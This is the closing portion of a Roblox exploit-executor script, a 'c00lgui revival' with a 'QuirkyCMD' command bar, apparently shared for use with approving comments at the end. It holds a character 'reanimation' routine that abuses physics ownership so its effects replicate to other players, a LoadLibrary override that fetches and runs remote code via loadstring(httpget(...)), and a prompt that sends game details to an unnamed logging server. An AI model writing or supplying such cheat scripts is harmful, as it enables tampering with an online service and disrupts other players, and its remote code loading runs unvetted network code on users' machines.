camera.CFrame = oldCamCF
end)
end
local function disableCollisions(model,canTouchAndCast)
for _, part in next, model:GetDescendants() do
if part and part:IsA("BasePart") then
part.CanCollide = false
part.CanQuery = canTouchAndCast
part.CanTouch = canTouchAndCast
end
end
end
local function makeTransparent(model)
for i,v in pairs(model:GetDescendants()) do
if not (v:IsA("BasePart") or v:IsA("Decal")) then continue end
v.Transparency = 1
end
end
local function breakWelds(model)
for i,v in pairs(model:GetDescendants()) do
if not v:IsA("Motor6D") then continue end
delete(v)
end
end
local function removeScripts(model)
for i,v in pairs(model:GetChildren()) do
if not (v:IsA("Script") or v:IsA("LocalScript") or v:IsA("ModuleScript") or v.Name == "Animate") then continue end
delete(v)
end
end
local function removeTouchTriggers(model)
for i,v in pairs(model:GetDescendants()) do
if not v:IsA("TouchTransmitter") then continue end
delete(v)
end
end
local function onPostSim()
for _, data in next, limbs do
align(data[1], data[2],netlessCF)
end
for _, data in next, hatHandles do
align(data[1], data[2], netlessCF)
end
end
local function onPreSim()
netlessCF = cfNew(0.01 * sin(clock()*16), 0, 0.01 * math.cos(clock()*16))
sineValue = 40 - 3 * sin(clock()*10)
if stopAntiVoid or rigHRP.Position.Y > (workspace.FallenPartsDestroyHeight + 50) then return end
rigHRP.CFrame = hrpCF
rigHRP.AssemblyLinearVelocity = v3Zero
rigHRP.AssemblyAngularVelocity = v3Zero
end
rigHRP.CFrame = hrpCF
rig.Parent = workspace
localPlayer.Character = rig
setCamera(rig)
rig.Animate.Enabled = false
rig.Animate.Enabled = true
hum:ChangeState(Enum.HumanoidStateType.Physics)
repeat task.wait() until limbs[3][1].CanCollide
task.wait(0.05)
delete(hum)
repeat task.wait() until hum.Parent == nil
task.wait()
fakeHum.Parent = char
task.wait()
table.insert(reanimConnections, rs.PreSimulation:Connect(onPreSim))
table.insert(reanimConnections, rs.PostSimulation:Connect(onPostSim))
table.insert(reanimConnections, rs.Stepped:Connect(function()
disableCollisions(char,false)
disableCollisions(rig,true)
end))
breakWelds(char)
makeTransparent(char)
removeScripts(char)
removeTouchTriggers(char)
genv.LoadLibrary = function(lib) return loadstring(httpget("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/" .. lib .. ".lua"))() end
local reset = Instance.new("BindableEvent")
reset.Event:Connect(function()
if stopAlign then
local hum = character:FindFirstChildOfClass("Humanoid")
if not hum then return character:BreakJoints() end
hum.Health = 0
return
end
notify("Resetting", "Please wait ~6 seconds", 6)
stopAntiVoid = true
rigHRP.Anchored = true
rigHRP.CFrame = CFrame.new(0,workspace.FallenPartsDestroyHeight + 5,0)
task.wait(0.5)
stopAlign = true
rigHum:ChangeState(Enum.HumanoidStateType.Dead)
localPlayer.CharacterAdded:Wait()
rig:Destroy()
for i,v in pairs(reanimConnections) do
v:Disconnect()
end
end)
sgui:SetCore("ResetButtonCallback", reset)
notify("Success!", "reanim loaded!")
end
addCommand("reanim",function()
task.spawn(loadReanim)
end, {"reanimate"}, 3)
--[[Add scrolling command list]]--
local scrollText = "QuirkyCMD made by smokedoutlocedout | type cmds for a list of commands | "
if not isMobile then
scrollText ..= "press ; to open/close command bar | "
end
local charCount = 12
local spaces = 0
local scrollSpeed = 0.12 -- sec/char
local sample = scrollText..string.rep(" ", spaces)
local displayString = sample:sub(1, charCount)
local strlen = string.len(sample)
local counter = 1
local timer = 0
for i,v in pairs(scrollText:split("")) do
if v ~= " " then continue end
spaces += 1
end
table.insert(genv.connections, rs.Heartbeat:Connect(function(dt)
timer += dt
if timer > scrollSpeed then
while timer > scrollSpeed do
timer -= scrollSpeed
counter = (counter + 1)%strlen
end
if counter + charCount <= strlen then
displayString = sample:sub(counter, counter + charCount)
else
displayString = sample:sub(counter, strlen)..sample:sub(1, counter + charCount - strlen)
end
end
box.PlaceholderText = (("%s"):format(displayString))
end))
--[[Sort commands alphabetically]]--
table.sort(commands, function(a,b)
return a.name < b.name
end)
--[[Add command list logic]]--
for i,v in pairs(commands) do
local level = v.securityLevel
local clone = cmdTemplate:Clone()
clone.Text = v.name .. ` ({rankNames[level]})`
clone.Name = v.name
clone.Visible = true
clone.Parent = cmdsList
end
table.insert(genv.connections, closeButton.MouseButton1Click:Connect(function()
cmdsFrame.Visible = false
end))
--[[Add drag functionality]]--
local dragging
local dragInput
local dragStart
local startPos
local lastMousePos
local lastGoalPos
local dragSpeed = 20
local function update(dt)
if not (startPos) then return end
if not (dragging) and (lastGoalPos) then
cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, lastGoalPos.X.Offset, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed))
return
end
local delta = (lastMousePos - uis:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X)
local yGoal = (startPos.Y.Offset - delta.Y)
lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, xGoal, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, yGoal, dt * dragSpeed))
end
cmdsFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = cmdsFrame.Position
lastMousePos = uis:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
cmdsFrame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
table.insert(genv.connections,rs.Heartbeat:Connect(update))
--[[send to game logger]]--
if not inDatabase then
local function promptCallback(answer)
if answer == "No" then return end
local char = character
if not char then return end
local part = char:FindFirstChildOfClass("Part") or char:FindFirstChildOfClass("Humanoid")
delete(part)
task.wait(.5)
if localPlayer.Character ~= char or part.Parent == char then return end
sendGame()
debugPrint("game sent to server")
end
local bindable = Instance.new("BindableFunction")
bindable.OnInvoke = promptCallback
sgui:SetCore("SendNotification", {
Title = "Game logger";
Text = "Do you want to log this game?",
Duration = 300,
Button1 = "Yes",
Button2 = "No",
Icon = "rbxassetid://82490397343155",
Callback = bindable
})
end
debugPrint("QuirkyCMD loaded successfully!")
end)
end;
task.spawn(C_127);
-- StarterGui.CoolGui.CloseOpen.cope
local function C_129()
local script = G2L["129"];
local cope = script.Parent
local frame = script.Parent.Parent.Frame
cope.MouseButton1Down:connect(function()
if cope.Text == "Close" then
frame.Visible = false
cope.Text = "Open" else
frame.Visible = true
cope.Text = "Close"
end
end)
end;
task.spawn(C_129);
local msg = Instance.new("Message",workspace)
msg.Text = "c00lgui revival has loaded."
wait(3)
msg:Destroy()
return G2L["1"], require;



good
really nice
its fe